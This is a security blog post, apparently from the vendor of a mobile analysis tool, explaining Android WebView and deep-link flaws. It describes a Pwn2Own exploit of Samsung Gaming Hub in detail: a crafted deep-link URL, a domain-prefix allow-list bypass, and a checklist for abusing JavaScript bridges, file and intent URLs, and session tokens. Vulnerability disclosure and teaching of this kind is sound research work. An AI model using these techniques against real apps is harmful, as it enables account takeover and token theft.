subtitle

Blog

subtitle

Intro to
Android WebViews and deep links…and how to exploit them

Android WebView is a system component that allows applications
to render web content directly inside a native

Android WebView is a system component that allows applications to render web content directly inside a native app, and it is one of the most widely used building blocks in the Android ecosystem.

At the same time, deep links have become the primary way apps expose internal functionality to the outside world. When these two components intersect — when a deep link controls what a WebView loads — the result is one of the most common and dangerous classes of mobile vulnerabilities seen in real-world applications.

In many apps, deep links are treated as trusted entry points and are used to pass URLs directly into WebViews for rendering. If this input is not strictly validated, an attacker can supply arbitrary URLs or redirect code flow that execute JavaScript in a privileged app context. This often leads to:

• Leaked authentication tokens
• Unauthorized access to internal APIs
• Abuse of exported activities
• File disclosure
• Full compromise of the application through chained exploits

The issue is not the WebView itself, but the broken trust boundary between external deep link input and internal WebView execution.

How do WebViews and deep links work!?

A WebView allows an application to embed and render web content directly inside a native screen. Internally, modern WebViews are powered by Chromium. But unlike a normal browser, they run inside the app’s process and inherit its permissions, cookies, and storage. This makes them ideal for integrating web-based features without forcing users to leave the app — but it also means they operate at a much higher trust level than most developers realize.

A minimal WebView setup often looks like this:

With just a few lines of code, the app now has a fully functional browser embedded inside it. Developers typically expand this configuration to support modern websites by enabling storage, cookies, and other features:

In real applications, WebViews are rarely used in isolation. They are often driven by deep links, push notifications, or Intent Extras so the app can open a specific piece of content dynamically. For example, a deep link handler might pass a URL directly into a WebView activity with the following code:

This pattern is extremely common in hybrid apps, login flows, payment screens, and in-app browsers. A user taps a link in an email or notification, and the app opens a WebView that loads the corresponding page inside the app’s UI instead of launching an external browser. From a user experience perspective, this feels seamless — but from a security perspective, it means external input is now controlling what executes inside a privileged app context.

To make WebViews more powerful, many apps also expose Java functionality to JavaScript:

This allows JavaScript running in the WebView to call Java methods directly, enabling rich hybrid functionality. However, once this is combined with attacker-controlled URLs or deep links, the WebView stops being a simple rendering component and becomes an execution boundary between untrusted web content and native code.

 

This dual role — convenience on one side, high-risk execution surface on the other — is why WebViews appear so frequently in both real-world exploits and mobile security research.

Exploiting WebViews in Android is an important bug bounty technique

Recently, our colleague Lyes disclosed about how he was able to obtain Remote Code Execution (RCE) capabilities on an Android application, all through a single click. You can read about this exploit here.

Additionally, over the years, WebViews have been one of my most reliable entry points for real-world mobile exploitation, including during preparation for Pwn2Own competitions. Their unique position at the boundary between untrusted web content and privileged Java code makes them ideal for exploit chaining: a single mistake in deep link handling, URL validation, or JavaScript exposure is often enough to pivot from a web bug into a full application compromise.

In multiple cases, I’ve used WebView behavior as the first stage of an exploit chain — gaining controlled JavaScript execution, breaking out into Java functionality, and then leveraging that access to reach deeper, more privileged components of the system. These experiences are a big reason why I treat WebViews not as a UI convenience, but as a high-risk execution surface that must be threat-modeled like an exposed service.

Case Study - Samsung Gaming Hub version 7.1.01.7

In 2024, I successfully exploited the Samsung Galaxy S24 to arbitrarily install a “malicious application”. As part of my exploit chain, I used a WebView in the Samsung Gaming Hub as a “trampoline” to exploit other issues on the device.

 

Lets go over how I obtained initial access on the device.

Launching the WebView Activity

Gaming Hub exposed a deep link that pointed to the Activity com.samsung.android.game.gamehome.app.MainActivity. Since this Activity had a Category value of android.intent.category.BROWSABLE, then this Activity could have been started if the user clicked a hyperlink that started with gamelauncher://com.samsung.android.game.gamehome:

When you reverse engineer MainActivity, the hyperlink URL is eventually sent to class com.samsung.android.game.gamehome.gmp.ui.GmpDeepLinkUtil method d(Context, Uri) for processing.

If the first path segment of the hyperlink URL matches gmp, then the following actions are taken:

• Create a new Intent object and set the Component value to samsung.android.game.gamehome.gmp.ui.web.GmpWebActivity
• In the hyperlink URL, retrieve the GET parameter “url” and add it as an Intent String Extra called “url” to the newly created Intent object
• Adds the value “WebView” as an Intent String extra called “target” to the newly created Intent object

So in other words, to launch the WebView Activity, the attacker controlled hyperlink would have to start with gamelauncher://com.samsung.android.game.gamehome/gmp?url= followed by a target URL. This newly created Intent object is then used to launch the GmpWebActivity class.

Loading an arbitrary URL in a WebView

When GmpWebActivity is launched, a WebView object is created, and then it is forced to launch the attacker controlled URL:

The application did not attempt to sanitize the URL, or check the URL against a whitelist before loading the URL. Because of this, the WebView will load attacker controlled HTML content.

So for example, if the attacker controlled hyperlink was gamelauncher://com.samsung.android.game.gamehome/gmp?url=https%3A%2F%2Fdjini%2Eai, then the Djini website would be loaded in the WebView Activity:

Loading arbitrary JavaScript

Looking over GmpWebActivity, the method v0(String) was responsible for adjusting the settings of the WebView.

By default, WebViews will disable the ability to execute JavaScript. This can only be enabled programmatically by the application itself.

While v0(String) did not enable JavaScript, it did call method p(WebView) which DID enable JavaScript. But p(WebView) would only be called if class com.samsung.android.game.gamehome.gmp.ui.web.GmpWebViewModel method F(String) returned true:

F(String) passed the attacker controlled URL to a bunch of other methods, which would check if the attacker controlled URL started with one of the following values:

https://us.mcsvc.samsung.com
https://d2da9i65hvaere.cloudfront.net/
https://gmp.samsungapps.com
https://img.samsungapps.com/
https://d1559sbyyf3apa.cloudfront.net/
https://smax.samsungapps.com
https://d2da9i65hvaere.cloudfront.net/

Some of the URLs above did not end with the “/” character. Because of this, the host value of the attacker controlled “url” simply needed  to start with one of the vulnerable values.


For example, an attacker could register the domain us.mcsvc.samsung.com.attacker.com. Then the attacker’s hyperlink would be gamelauncher://com.samsung.android.game.gamehome/gmp?url=https%3A%2F%2Fus%2Emcsvc%2Esamsung%2Ecom%2Eattacker%2Ecom which would load arbitrary JavaScript inside the WebView:

What to do from here?

When an attacker can load an arbitrary URL in a WebView, that WebView becomes an execution environment for untrusted code inside a mobile application. Unlike a browser, a WebView runs with access to:

• The app state and cookies
• JavaScript bridges
• Authentication context
• And more…

This makes WebViews one of the most dangerous primitives in mobile exploitation.

Whenever I find the ability to load a custom URL in a WebView, I like to go through my own WebView check list.

Step 1: Understand the WebView’s Privilege Level

The first thing to check is how powerful the WebView is.

Developers frequently enable features for convenience that silently expand the attack surface:

• JavaScript execution (we already got JavaScript working in our example!)
• DOM storage
• File and content access
• Universal file access
• Automatic window creation
• WebView debugging in production builds

Each of these settings moves the WebView closer to being a fully privileged browser running inside your app, not a sandboxed “iframe”. If debugging is enabled, an attacker can even attach Chrome DevTools and interact with the WebView in real time.

Step 2: Look for JavaScript Bridges and Native Interfaces

The next question is always: “Can JavaScript talk to the underlying application?”

If the app uses addJavascriptInterface(), you should treat the WebView as a remote control for Java execution functionality.

Common mistakes include exposing:

• File system access
• Intent launching helpers
• Analytics or logging APIs
• Debug utilities
• Token getters
• Internal configuration APIs

If these interfaces are exposed to attacker-controlled JS, the attacker is no longer confined to the web layer — they can often jump directly into privileged Android APIs

Step 3: Analyze URL Handling and Protocol Abuse

Once JS execution is confirmed, the next step is to check what kinds of URLs the WebView will accept.

Many apps unintentionally allow navigation to:

file:// URLs (local file read)
content:// URLs (ContentProvider access)
intent:// URLs (arbitrary intent execution)
javascript: URLs (code injection via redirects)

This is especially dangerous when navigation controls only apply to the initial load, not to redirect chains. Attackers routinely use open redirects or multi-step navigations to bypass naive domain allow lists.

Step 4: Consider Cookies, Sessions, and Authentication Context

One of the biggest differences between a WebView and a browser is shared authentication state.

If the WebView loads authenticated content, attacker-controlled JavaScript may run:

• With session cookies
• With CSRF tokens
• With access to internal APIs
• As the currently logged-in user

This often leads to:

• Account takeover
• Silent CSRF
• Token exfiltration
• Data scraping

From a security perspective, arbitrary JS in an authenticated WebView is equivalent to persistent XSS inside the app — except it often affects every user.

Could Djini have helped find these issues?

Djini is built to do both static and dynamic analysis for mobile applications. However, it can be used strictly as a static analysis tool (which is what I typically use it for).

After giving Djini the application .apk file, Djini immediately found the ability to load an attacker controlled URL. I simply told Djini to /start testing one of the “AI Generated” findings related to deep links.

Djini was also able to tell me how to enable JavaScript on the WebView. The list of URLs is small due to the lack of dynamically updated parameters, but Djini at least gave us a good starting point:

The last thing that I’ll mention in this blog, is that Djini could have helped me find one more issue with GmpWebActivity which I also used in my Pwn2Own exploit chain.

I recommend that you, the reader, try to use this information from Djini to figure out what I did 🙂

Want to know more?

 

 

Djini.ai accelerates mobile pentesting process by removing reverse-engineering overhead and surfacing dangerous primitives early, so security teams, pentesters, and researchers can focus on impact instead of boilerplate analysis.

 

 

With iOS jailbroken and Android rooted devices, plus bundled premium courses and certifications from Mobile Hacking Lab, it provides a complete end-to-end mobile security workflow.

 

 

If your team wants to move faster and go deeper, schedule a demo and see it in action.

 

Book a meeting: https://calendly.com/d/cryq-nqv-8gf/book-a-demo

Check out the subscription: https://djini.ai/pricing/